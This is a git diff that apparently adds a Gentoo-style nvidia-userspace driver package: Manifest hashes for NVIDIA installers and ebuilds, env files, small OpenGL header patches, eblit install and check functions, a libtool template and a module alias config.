+DIST NVIDIA-Linux-x86-325.15.run 27409286 SHA256 3d790e4bfed24641f7cc76879144ab5d52b12271012ba381b0d33aa1a2e08775 SHA512 48052c3daa8748a7c43de1c24e00fdd3f94cebbe7f5efbb185a0472a1d0bbab8adfe377359ccdc6cd8e437a80506fdd551408237b0842c194a3497c43cf3487e WHIRLPOOL 387fb8af1a31cc295abe7b15fee7d5bc01c515603b178abe7f50864dbbf0685ca50f88e67359adc4af8e90caaeb1fba95aa6af9f54e6fced46c82c5cfc094390
+DIST NVIDIA-Linux-x86-96.43.20-pkg0.run 10323541 SHA256 bc778062cf745ee4916de77a702f702312d33eeb3b6f379b63e4366fa5197517
+DIST NVIDIA-Linux-x86_64-173.14.31-pkg2.run 18967067 SHA256 c56cfe43c4fa95102d099e4f1c4e75e58b57d73b4b36a858d54a2a339aad56d9 SHA512 fcb3f004495c8e3ef93b4229b2b64e8ee83a12f2cc5ba1c33bf486b6bf8687e1e1d5b45c2da8721422f6c2190150f7f86bd4b9ec0987d4440343fafb9e18c208 WHIRLPOOL 585728e3d03b1a9cf90fd80c413f2dd432870f49df60bd1335ec0c7143b59005819b4fd655587b0f76d19c28eaa946d6893c4358b8ec7e33000486429684cd1f
+DIST NVIDIA-Linux-x86_64-173.14.34-pkg2.run 19769116 SHA256 30dcdd3cfba4f7d2b5f4977faea573463700b44252e46fb43402e269183dec3e
+DIST NVIDIA-Linux-x86_64-173.14.35-pkg2.run 19767039 SHA256 5af64646b098021b550242fe8eb03817f862af0442023545d1295027f589595f
+DIST NVIDIA-Linux-x86_64-275.09.07.run 51646025 SHA256 747c09b0a0a8d60e1b5fee49fb1ea07ee5812f8e85a87b2403011af6de58164d
+DIST NVIDIA-Linux-x86_64-280.13.run 55011572 SHA256 98a08c7d943912a178a9bbe419db60634088e5262ae9053bf2fe730984e5a012
+DIST NVIDIA-Linux-x86_64-285.05.09.run 56674677 SHA256 7159a1f7e898b50dd49ea2273ac6facb870546ad5496bf70c6fbe1642d2c4970
+DIST NVIDIA-Linux-x86_64-290.10.run 58334192 SHA256 34a2ab07f4ae7afdeb2c8415f3f37c1099e6690eb25f3dbef92eca771f7ce4cd
+DIST NVIDIA-Linux-x86_64-295.20.run 58403208 SHA256 3b84fdeae335c047193f68a1da26f2a736461c35cfe94566fc7ace1e5762d34c
+DIST NVIDIA-Linux-x86_64-295.33.run 58435170 SHA256 4e939bac1ebc03c6439969d638540b99900b0fe4e4799b4186e5ff9521d37b73
+DIST NVIDIA-Linux-x86_64-295.40.run 58446405 SHA256 f6d5ae338b3b8ac6c512d06b335010934a62728f181a1fa5253aa84b7bf45e7a
+DIST NVIDIA-Linux-x86_64-295.49.run 58521195 SHA256 61dc9623ea1981f801d97de7c67c32b7e4f7ef4aaa6744910967cb634d9ace62
+DIST NVIDIA-Linux-x86_64-295.53.run 58522001 SHA256 4525e994a0d0a8cd776415401423e7de3985923637642955c3fe50a3d047d4ca
+DIST NVIDIA-Linux-x86_64-295.59.run 58529480 SHA256 4b1d96389abd2b804ad470c5189142a02ee4c82c1ac56cea37ecb45e8051313e
+DIST NVIDIA-Linux-x86_64-302.17.run 58653717 SHA256 5cf9059ebb70ade99e5621c0a605ed5bbb6c274f7c52a7ef40342ceb41b381fc
+DIST NVIDIA-Linux-x86_64-304.22.run 60141600 SHA256 4c1b6f7dcda007622bb5e243b858abdb3881d5d5befdc617b23393545d9c96fd SHA512 06dac9e042baa836b1f2d9cd360b2ca3545dcff4b382ed9d29e8e442ab5e9dc241b5f75250c3dce73e0e7958bccaa16ac48415ae5f2fc7cbc65689bd7a6e7640 WHIRLPOOL a7d1a1abe5cdedc743b43fa1627dc9094ab32cea3645cdd5cfd53a33929d0a48f4d3efaa7311ff6f0ba99d31a112e6872cb4cad3d1cafbd996646020d8dd7f40
+DIST NVIDIA-Linux-x86_64-304.37.run 64075318 SHA256 cae75158047d0b97ea48f269fd2903a6731f53b978a1065720343436c97ca9c2
+DIST NVIDIA-Linux-x86_64-304.88.run 68041437 SHA256 c1a73211566b085214b0ad1824733aa56d09c6139f729feebd0eff44f6113da3 SHA512 8a907f9ed307b1e4b5563a9aba9d6c1c036885cd64a4a229d6831eb7a855921971e652b7940333e366d5088f97cf3596fb739853b3c3cf94446ee0cea6164ab2 WHIRLPOOL 2e43479bb52d1dcbe1007cda779ab21ed064883769358a09bdd765e55f6b35a855a51006e070d33ddd2a3808802cdb4fa2ae63cc7cc189561934d00574492ca8
+DIST NVIDIA-Linux-x86_64-310.19.run 68022245 SHA256 3326cf9eb432a10fee5cb663132cd6c175813d0225750ef237dcc7feefd20fca SHA512 035a0cb62f4d307683ada7fff380fbe8a9433cee0ee6a8b1986e9d59b55a23484305903f84e77fb6a7440e06efce012feae1da658a304e790e2022c028541a69 WHIRLPOOL 523a9ca07d18cfa1afb1f4e527cecf1c4778650eaa81d1e627fd1c65b4ab459d02e5ce726d0190c57e677c6ef3c22afef8c6aaa99892731faf3415138e9e7635
+DIST NVIDIA-Linux-x86_64-313.30.run 68379307 SHA256 72317f2e4c459c33c764e3283deb3e1615b1852ead1f9bfad82148e120506022 SHA512 ae4439697e47eff98e06e5f77de979bdce096f95efa8bdee9c6fc939b42b5ce3b11c23d7691e974cf0f6f783eeb0fb694670636538352a0e8979f88d687f1f86 WHIRLPOOL c12a68fcc4d78f3856d87a86cef43c3632c0db1b6c5799b6482584d4d83a7cc863b9b394a501b96534175e11663c602d72f6ffa49f85461eaf4324dc61e654ff
+DIST NVIDIA-Linux-x86_64-325.15.run 48034648 SHA256 01446fbd94f6eb3b2e1b3d3f2b06970bf470c3ee2cb1838b3d0c2416e6c74500 SHA512 323cbd8e6f3ce29a1556b83b2fb3456f919964ede1cbee4ddaa3539ab75eda7abe26b96ba500462eed2ade4163b8de20d1db6ea987af923710f0e1a60e432e83 WHIRLPOOL 7c05717a2cfcb003a8c1f9fc5f5e24cfd5216aca7167ee8f29b60c43262fc61afab9619147ee07cb2541aa1d55b13a730b52c90979b7970df709fb659fe782ff
+DIST NVIDIA-Linux-x86_64-96.43.20-pkg2.run 14572507 SHA256 562107a262e250b836966e29851628f6162ee2857d53252221c780d9b201de18
+EBUILD nvidia-userspace-173.14.31.ebuild 12005 SHA256 833741ccdcd472cc91db8da97226dd9c51ee4afa825e788f6f2db811211fea02 SHA512 17bdea337e4c2ce3beac8ffbb9a80e064cb24a35a73816454ae1dffde3d09ae166f572c486c5bf861a4e690920562004d50eaf7d2e651d6b96589495072af5b8 WHIRLPOOL 6fa4e0f0c61f1ddb62768b994bb55d519b3e64d790cd29eb8b89e1d2d91785a030a0678074a3e0369abaa7dbb6463af5f992b3a47b6c11d3040ccab0b7619f1d
+EBUILD nvidia-userspace-173.14.34.ebuild 12005 SHA256 833741ccdcd472cc91db8da97226dd9c51ee4afa825e788f6f2db811211fea02 SHA512 17bdea337e4c2ce3beac8ffbb9a80e064cb24a35a73816454ae1dffde3d09ae166f572c486c5bf861a4e690920562004d50eaf7d2e651d6b96589495072af5b8 WHIRLPOOL 6fa4e0f0c61f1ddb62768b994bb55d519b3e64d790cd29eb8b89e1d2d91785a030a0678074a3e0369abaa7dbb6463af5f992b3a47b6c11d3040ccab0b7619f1d
+EBUILD nvidia-userspace-173.14.35.ebuild 12005 SHA256 833741ccdcd472cc91db8da97226dd9c51ee4afa825e788f6f2db811211fea02 SHA512 17bdea337e4c2ce3beac8ffbb9a80e064cb24a35a73816454ae1dffde3d09ae166f572c486c5bf861a4e690920562004d50eaf7d2e651d6b96589495072af5b8 WHIRLPOOL 6fa4e0f0c61f1ddb62768b994bb55d519b3e64d790cd29eb8b89e1d2d91785a030a0678074a3e0369abaa7dbb6463af5f992b3a47b6c11d3040ccab0b7619f1d
+EBUILD nvidia-userspace-275.09.07.ebuild 12387 SHA256 4f5982dd02fd6e76cf39691facb4b3a184ed863c1b4dc3670af07daf7e460ece SHA512 c836db66711a5b6259e02d9e1cd7ef6ccb67fd9b2b96f5f8688ebb9e94867f2dd278a7cad06ec43c6412f7b8ef1e04a4d01ec096efe8483af0e9f3f00fda6b61 WHIRLPOOL 613e80cb3b0969753291b44ef4a19e93aa0d5d4f148cbb3c1e316e2abab8a272b72ccbbbc5d89cf187ff3882d14a4c8e1c2081c334227c532ac7c9e09a3011f2
+EBUILD nvidia-userspace-280.13.ebuild 12387 SHA256 4f5982dd02fd6e76cf39691facb4b3a184ed863c1b4dc3670af07daf7e460ece SHA512 c836db66711a5b6259e02d9e1cd7ef6ccb67fd9b2b96f5f8688ebb9e94867f2dd278a7cad06ec43c6412f7b8ef1e04a4d01ec096efe8483af0e9f3f00fda6b61 WHIRLPOOL 613e80cb3b0969753291b44ef4a19e93aa0d5d4f148cbb3c1e316e2abab8a272b72ccbbbc5d89cf187ff3882d14a4c8e1c2081c334227c532ac7c9e09a3011f2
+EBUILD nvidia-userspace-285.05.09.ebuild 12387 SHA256 4f5982dd02fd6e76cf39691facb4b3a184ed863c1b4dc3670af07daf7e460ece SHA512 c836db66711a5b6259e02d9e1cd7ef6ccb67fd9b2b96f5f8688ebb9e94867f2dd278a7cad06ec43c6412f7b8ef1e04a4d01ec096efe8483af0e9f3f00fda6b61 WHIRLPOOL 613e80cb3b0969753291b44ef4a19e93aa0d5d4f148cbb3c1e316e2abab8a272b72ccbbbc5d89cf187ff3882d14a4c8e1c2081c334227c532ac7c9e09a3011f2
+EBUILD nvidia-userspace-290.10.ebuild 13317 SHA256 5e296159aefb2e9d847b93a4b28db035a887156167cd87741258e8fc9e246ea9 SHA512 d75cf9feb623afd772733ce749841aa472fb18e5e090482df0b8444645c9da59d0d7410787ffbcb670dae013d87a9d5744cf887a07a647cba4feedc53f83414e WHIRLPOOL 58ab3ecc1acb51d0bcb74165d13738a825aaaa059c962ea52e5f40a1f0d7591a747d3e0afeae4e0d6b42795d389c3e804cd8de93addc7250fc4544470a55b6f6
+EBUILD nvidia-userspace-295.20.ebuild 13317 SHA256 5e296159aefb2e9d847b93a4b28db035a887156167cd87741258e8fc9e246ea9 SHA512 d75cf9feb623afd772733ce749841aa472fb18e5e090482df0b8444645c9da59d0d7410787ffbcb670dae013d87a9d5744cf887a07a647cba4feedc53f83414e WHIRLPOOL 58ab3ecc1acb51d0bcb74165d13738a825aaaa059c962ea52e5f40a1f0d7591a747d3e0afeae4e0d6b42795d389c3e804cd8de93addc7250fc4544470a55b6f6
+EBUILD nvidia-userspace-295.33.ebuild 13821 SHA256 e3048a55ccf9cf7c8310b225885dbaae713b5fd51fa67059f372a347a1d90c35 SHA512 758f5f1a618c5baf98087175ff4c00bc63aa96955317dcfca40f8b25e66fd6a294809b203e6834fc9080f43f005f2728f1c4689bea0cdefab52d8c50cbf87547 WHIRLPOOL 8872b9c1779343196e0129310820d2d91bef47f06b1156149fbf52dacca83e0f3b048d19cbb4ed5af2b2487acd057fbf5b3bc6b3ceb5f1bafd4034301652d805
+EBUILD nvidia-userspace-295.40.ebuild 13975 SHA256 aebd97275f8ce491ca6e962d6e956982ae04ca803e9abbc4623b3f623f3b50f4 SHA512 fe0f3ebaff68517938d00e270f3bae0f5ab964933e0065e6226a93181b2e4dc2c06a9242c8788b6795c0e6cbfcd25b1cc7f8f8567243c8c2fadb6f61c952d383 WHIRLPOOL b31d65669984e41fb35747253fdfd6f23efee54fec07b9fdd58106d48fbed074e8a2be5381305f3aff14d01e5190c9d85472be91026876f50563cbb76ef65c69
+EBUILD nvidia-userspace-295.49.ebuild 13911 SHA256 a0d5b8a573e41a10b8201a6a4ecb854c6fca20107c28cdc298b59dd506ac28c9 SHA512 4ba775bcec98b8f4b9150bf3127884c422a8263918fc2c06983895622e70d9a603672cfdc29afe01d8c449b9c6ee49408066205194795bd59cd6e9493fc40f77 WHIRLPOOL d745cd7dce11da262472d0ba749002cd799241b4529b57ecdabf6f29ef13751e33b751fda2563e30b8f26d8cf3d040d36880af60171f1aacd5fbe7ab2098122e
+EBUILD nvidia-userspace-295.53.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
+EBUILD nvidia-userspace-295.59.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
+EBUILD nvidia-userspace-302.17.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
+EBUILD nvidia-userspace-304.22.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
+EBUILD nvidia-userspace-304.37.ebuild 11033 SHA256 c565684dab4d781f3359d8f318a96136121aeb9e41120018e750e7ee9e3686af SHA512 e9e624f8bbfbdb3d6d82dbcd5f5c159e928089336ac7fef8b9f65add102906898ffd1c75072d740afacad13a09bbb083b7c1d6b225589fffc35b96b2eb7d7557 WHIRLPOOL 52622805e659098dc498ca35410614233a49dda9b00bd573cc8ad04e3885121a3263023af89619ad53d09f6f97c07fde43bc1a0402ae1e91fa36e92c181da78c
+EBUILD nvidia-userspace-304.88.ebuild 10889 SHA256 3d9cfe556bd0ebdf02852cf35722ca20cf2d190aee5fc50ae96983969a7d4fae SHA512 88f12c3172891dce3c28e52c75a07009a8c82afc3ed90ca6102bde0f07d67539460ac47e0c4dff8965461c3d7ccbbab0df8e2ff1bde71fb71c29c0e4209f07ce WHIRLPOOL 10b6737f18948e097a36fddd24d2d524db4e107088f1087fb5f2fe40951381b2eedccd818c21d46364cc0d28881c8ff0de84bb7156d237e69809c694ee098979
+EBUILD nvidia-userspace-310.19.ebuild 11033 SHA256 c565684dab4d781f3359d8f318a96136121aeb9e41120018e750e7ee9e3686af SHA512 e9e624f8bbfbdb3d6d82dbcd5f5c159e928089336ac7fef8b9f65add102906898ffd1c75072d740afacad13a09bbb083b7c1d6b225589fffc35b96b2eb7d7557 WHIRLPOOL 52622805e659098dc498ca35410614233a49dda9b00bd573cc8ad04e3885121a3263023af89619ad53d09f6f97c07fde43bc1a0402ae1e91fa36e92c181da78c
+EBUILD nvidia-userspace-313.30.ebuild 10536 SHA256 9fd2bd062749c4664e40c535c3faeeccef873bdaaf2c00654c2e9be409f900e0 SHA512 20c97cfe5e65725227841e5114aeebd95c27724fe12534866ad3f5144a0ea95fab9ab366c3181004927754bf7b05053cfd01532593edb186210cf129ab3ee1bb WHIRLPOOL 50e8356b1d5ad963fc1ce1cb55ccc1ebca1c306745efddcf6c2be41f45e01446ae13bd174a217efa84aad9b2c40dbc207a420e13eec7a6dbf36bd0697ce23cee
+EBUILD nvidia-userspace-325.15.ebuild 10292 SHA256 4a36898b9a90f6ae417d0ca30f07f0f5d040053d6b8573710c3c2774bf299ffb SHA512 9b4107c282fefbe65f7d8681e1a31c3a8b6761586222a3fa5f278f50e02f1406a118318522d997fef876b0d7404b17aec664733f49338b37a47fd2ba9414abbe WHIRLPOOL 6ac6f63d94be18f745bdcd53735a9e11cd3a4a3bba291043667a892b15d37481c2d576dd6508d6a033c8ccc0a685e9c8f0fae60e0f2e32bf14b968e0f938ad9c
+EBUILD nvidia-userspace-96.43.20.ebuild 12041 SHA256 d4e32f4ad2a2500bc633c64ec5c31c2b02dfc6219b5a57e9dfb66e0e3ab4bf29 SHA512 05b98b39db9d27f31401d744ee2f986beb31a260317ac07503a1b1e5fc5abdd0762c75989d60d343c9d2f6afa76d224015f12fd0aaf40ffe4fcf5f36f8f67c8f WHIRLPOOL 55801e45401d10015a0fad112eafdd7aa7ebd99bdb3ccc31cf202e657788e2bddef09f7c635f62590deb060222cd0bcde24e622da65a3e986bfbe501582f3ea0
+MISC metadata.xml 340 SHA256 a8c83e426e095e92dc8d7553bde38172a3bb73717ec0469c78dba0a46f86194d SHA512 757fe60892996ee752008276a385ed2ba785837723beac28744e414d19e2312f956e300559519005ff3d465db2593e61804e6b7907e1faaf551d2633cf09c6aa WHIRLPOOL 483042f678dacfba03244f676d5b47035de23751c6cf306c87d0ff12856ca3dd8ce10bc826bdc90bcb1b9be8a673cc68fbe506998bac564f0a55d7bf64481fe8
diff --git a/x11-drivers/nvidia-userspace/files/09nvidia b/x11-drivers/nvidia-userspace/files/09nvidia
new file mode 100644
index 00000000..1fcbef41
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/09nvidia
@@ -0,0 +1,2 @@
+# Has to precede X11's own libraries!
+LDPATH=/opt/nvidia/lib
diff --git a/x11-drivers/nvidia-userspace/files/90mutter-disable-culling b/x11-drivers/nvidia-userspace/files/90mutter-disable-culling
new file mode 100644
index 00000000..d9b64408
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/90mutter-disable-culling
@@ -0,0 +1,2 @@
+# See https://bugzilla.gnome.org/show_bug.cgi?id=664858
+CLUTTER_PAINT=disable-clipped-redraws:disable-culling
diff --git a/x11-drivers/nvidia-userspace/files/NVIDIA_glx-defines.patch b/x11-drivers/nvidia-userspace/files/NVIDIA_glx-defines.patch
new file mode 100644
index 00000000..da9933f6
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/NVIDIA_glx-defines.patch
@@ -0,0 +1,11 @@
+diff -ur NVIDIA_GLX-1.0-4191/usr/include/GL/glx.h NVIDIA_GLX-1.0-4191.new/usr/include/GL/glx.h
+--- NVIDIA_GLX-1.0-4191/usr/include/GL/glx.h	2002-12-09 21:26:55.000000000 +0100
++++ NVIDIA_GLX-1.0-4191.new/usr/include/GL/glx.h	2003-01-30 18:20:23.000000000 +0100
+@@ -39,6 +39,7 @@
+ typedef XID GLXPixmap;
+ typedef XID GLXDrawable;
+ typedef XID GLXPbuffer;
++typedef XID GLXPbufferSGIX;
+ typedef XID GLXWindow;
+ typedef XID GLXFBConfigID;
+ 
diff --git a/x11-drivers/nvidia-userspace/files/NVIDIA_glx-glheader.patch b/x11-drivers/nvidia-userspace/files/NVIDIA_glx-glheader.patch
new file mode 100644
index 00000000..e0393e1b
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/NVIDIA_glx-glheader.patch
@@ -0,0 +1,13 @@
+--- usr/include/GL/gl.g.orig	2004-07-17 19:56:59.789410584 +1000
++++ usr/include/GL/gl.h	2004-07-17 19:59:08.844791184 +1000
+@@ -66,6 +66,10 @@
+ typedef double GLclampd;
+ typedef void GLvoid;
+ 
++/* Patching for some better defines in the global system */
++#ifndef GL_GLEXT_LEGACY
++#include <GL/glext.h>
++#endif
+ 
+ /*************************************************************/
+ 
diff --git a/x11-drivers/nvidia-userspace/files/eblits/donvidia.eblit b/x11-drivers/nvidia-userspace/files/eblits/donvidia.eblit
new file mode 100644
index 00000000..75b39cfb
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/eblits/donvidia.eblit
@@ -0,0 +1,21 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/donvidia.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	# libnvidia-cfg.so is no longer supplied in lib32; step over it gracefully
+	if [ -e $2.$3 ] ; then
+		doexe $2.$3
+		dosym ${libname}.$3 $1/${libname}
+		[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+	fi
+}
diff --git a/x11-drivers/nvidia-userspace/files/eblits/mtrr_check.eblit b/x11-drivers/nvidia-userspace/files/eblits/mtrr_check.eblit
new file mode 100644
index 00000000..b14df34b
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/eblits/mtrr_check.eblit
@@ -0,0 +1,19 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/mtrr_check.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
diff --git a/x11-drivers/nvidia-userspace/files/eblits/src_install-libs.eblit b/x11-drivers/nvidia-userspace/files/eblits/src_install-libs.eblit
new file mode 100644
index 00000000..e48d11ce
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/eblits/src_install-libs.eblit
@@ -0,0 +1,116 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distribnuted under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/src_install-libs.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+#
+src_install-libs() {
+	local pkglibdir=lib
+	local inslibdir=$(get_libdir)
+
+	if [[ ${#} -eq 2 ]] ; then
+		pkglibdir=${1}
+		inslibdir=${2}
+	elif has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+		pkglibdir=lib32
+	fi
+
+	local usrpkglibdir=usr/${pkglibdir}
+	local libdir=usr/X11R6/${pkglibdir}
+	local drvdir=${libdir}/modules/drivers
+	local extdir=${libdir}/modules/extensions
+	local incdir=usr/include/GL
+	local sover=${PV}
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local NO_TLS_ROOT="${NV_ROOT}/no-tls"
+	local TLS_ROOT="${NV_ROOT}/tls"
+	local X11_LIB_DIR="/usr/${inslibdir}/xorg"
+
+	if use x86-fbsd; then
+		# on FreeBSD everything is on obj/
+		pkglibdir=obj
+		usrpkglibdir=obj
+		x11pkglibdir=obj
+		drvdir=obj
+		extdir=obj
+
+		# don't ask me why the headers are there.. glxext.h is missing
+		incdir=doc
+
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${usrpkglibdir}/libGL.so ${sover}
+	donvidia ${NV_ROOT}/lib ${usrpkglibdir}/libGLcore.so ${sover}
+
+	donvidia ${NV_ROOT}/lib ${usrpkglibdir}/libnvidia-cfg.so ${sover}
+
+	dodir ${NO_TLS_ROOT}
+	donvidia ${NO_TLS_ROOT} ${usrpkglibdir}/libnvidia-tls.so ${sover}
+
+	if ! use x86-fbsd; then
+		donvidia ${TLS_ROOT} ${usrpkglibdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	if want_tls ; then
+		dosym ../tls/libnvidia-tls.so ${NV_ROOT}/lib
+		dosym ../tls/libnvidia-tls.so.1 ${NV_ROOT}/lib
+		dosym ../tls/libnvidia-tls.so.${sover} ${NV_ROOT}/lib
+	else
+		dosym ../no-tls/libnvidia-tls.so ${NV_ROOT}/lib
+		dosym ../no-tls/libnvidia-tls.so.1 ${NV_ROOT}/lib
+		dosym ../no-tls/libnvidia-tls.so.${sover} ${NV_ROOT}/lib
+	fi
+
+	if ! use x86-fbsd; then
+		# Install the .la file for libtool, to prevent e.g. bug #176423
+		[ -f "${FILESDIR}/libGL.la-r2" ] || die "libGL.la-r2 missing in FILESDIR"
+		local ver1=$(get_version_component_range 1)
+		local ver2=$(get_version_component_range 2)
+		local ver3=$(get_version_component_range 3)
+		sed -e "s:\${PV}:${PV}:"     \
+			-e "s:\${ver1}:${ver1}:" \
+			-e "s:\${ver2}:${ver2}:" \
+			-e "s:\${ver3}:${ver3}:" \
+			-e "s:\${libdir}:${inslibdir}:" \
+			"${FILESDIR}"/libGL.la-r2 > "${D}"/${NV_ROOT}/lib/libGL.la
+	fi
+
+	exeinto ${X11_LIB_DIR}/modules/drivers
+
+	[[ -f ${drvdir}/nvidia_drv.so ]] && \
+		doexe ${drvdir}/nvidia_drv.so
+
+	insinto /usr/${inslibdir}
+	[[ -f ${libdir}/libXvMCNVIDIA.a ]] && \
+		doins ${libdir}/libXvMCNVIDIA.a
+	exeinto /usr/${inslibdir}
+	# fix Bug 131315
+	[[ -f ${libdir}/libXvMCNVIDIA.so.${PV} ]] && \
+		doexe ${libdir}/libXvMCNVIDIA.so.${PV} && \
+		dosym libXvMCNVIDIA.so.${PV} \
+			/usr/${inslibdir}/libXvMCNVIDIA.so
+
+	exeinto ${NV_ROOT}/extensions
+	[[ -f ${libdir}/modules/libnvidia-wfb.so.${sover} ]] && \
+		newexe ${libdir}/modules/libnvidia-wfb.so.${sover} libwfb.so
+	[[ -f ${extdir}/libglx.so.${sover} ]] && \
+		newexe ${extdir}/libglx.so.${sover} libglx.so
+
+	# Includes
+	insinto ${NV_ROOT}/include
+	doins ${incdir}/*.h
+
+	#cuda
+	if [[ -f usr/include/cuda/cuda.h ]]; then
+		dodir /usr/include/cuda
+		insinto /usr/include/cuda
+		doins usr/include/cuda/*.h
+
+		if [[ -f usr/${pkglibdir}/libcuda.so.${PV} ]]; then
+			dolib.so usr/${pkglibdir}/libcuda.so.${PV}
+			dosym libcuda.so.${PV} /usr/${inslibdir}/libcuda.so.1
+			dosym libcuda.so.1 /usr/${inslibdir}/libcuda.so
+		fi
+	fi
+}
diff --git a/x11-drivers/nvidia-userspace/files/eblits/want_tls.eblit b/x11-drivers/nvidia-userspace/files/eblits/want_tls.eblit
new file mode 100644
index 00000000..4debb85d
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/eblits/want_tls.eblit
@@ -0,0 +1,33 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/eblits/want_tls.eblit,v 1.1 2008/12/18 18:27:35 cardoe Exp $
+
+want_tls() {
+	# For uclibc or anything non glibc, return false
+	has_version sys-libs/glibc || return 1
+
+	# Old versions of glibc were lt/no-tls only
+	has_version '<sys-libs/glibc-2.3.2' && return 1
+
+	if use x86 ; then
+		case ${CHOST/-*} in
+			i486|i586|i686) ;;
+			*) return 1 ;;
+		esac
+	fi
+
+	# If we've got nptl, we've got tls
+	built_with_use --missing true sys-libs/glibc nptl && return 0
+
+	# 2.3.5 turned off tls for linuxthreads glibc on i486 and i586
+	if use x86 && has_version '>=sys-libs/glibc-2.3.5' ; then
+		case ${CHOST/-*} in
+			i486|i586) return 1 ;;
+		esac
+	fi
+
+	# These versions built linuxthreads version to support tls, too
+	has_version '>=sys-libs/glibc-2.3.4.20040619-r2' && return 0
+
+	return 1
+}
diff --git a/x11-drivers/nvidia-userspace/files/libGL.la-r2 b/x11-drivers/nvidia-userspace/files/libGL.la-r2
new file mode 100644
index 00000000..863d1844
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/libGL.la-r2
@@ -0,0 +1,32 @@
+# libGL.la - a libtool library file
+# Generated by ltmain.sh - GNU libtool 1.4 (1.920 2001/04/24 23:26:18)
+#
+# Please DO NOT delete this file!
+# It is necessary for linking the library.
+
+# The name that we can dlopen(3).
+dlname='libGL.so.1'
+
+# Names of this library.
+library_names='libGL.so.${PV} libGL.so.1 libGL.so'
+
+# The name of the static archive.
+old_library=''
+
+# Libraries that this one depends upon.
+dependency_libs='-L/usr/${libdir} -lm -lX11 -lXext -ldl'
+
+# Version information for libGL.
+current=${ver1}
+age=${ver2}
+revision=${ver3}
+
+# Is this an already installed library?
+installed=yes
+
+# Files to dlopen/dlpreopen
+dlopen=''
+dlpreopen=''
+
+# Directory that this library needs to be installed in:
+libdir='/usr/${libdir}'
diff --git a/x11-drivers/nvidia-userspace/files/nvidia b/x11-drivers/nvidia-userspace/files/nvidia
new file mode 100644
index 00000000..7cf0f7c0
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/nvidia
@@ -0,0 +1,40 @@
+# Nvidia drivers support
+alias char-major-195 nvidia
+alias /dev/nvidiactl char-major-195
+
+# To tweak the driver the following options can be used, note that
+# you should be careful, as it could cause instability!! For more 
+# options see /usr/share/doc/PACKAGE/README 
+#
+#   To enable Side Band Adressing:  NVreg_EnableAGPSBA=1
+#
+#   To enable Fast Writes: NVreg_EnableAGPFW=1
+#
+# To enable both for instance, uncomment following line:
+#
+#options nvidia NVreg_EnableAGPSBA=1 NVreg_EnableAGPFW=1
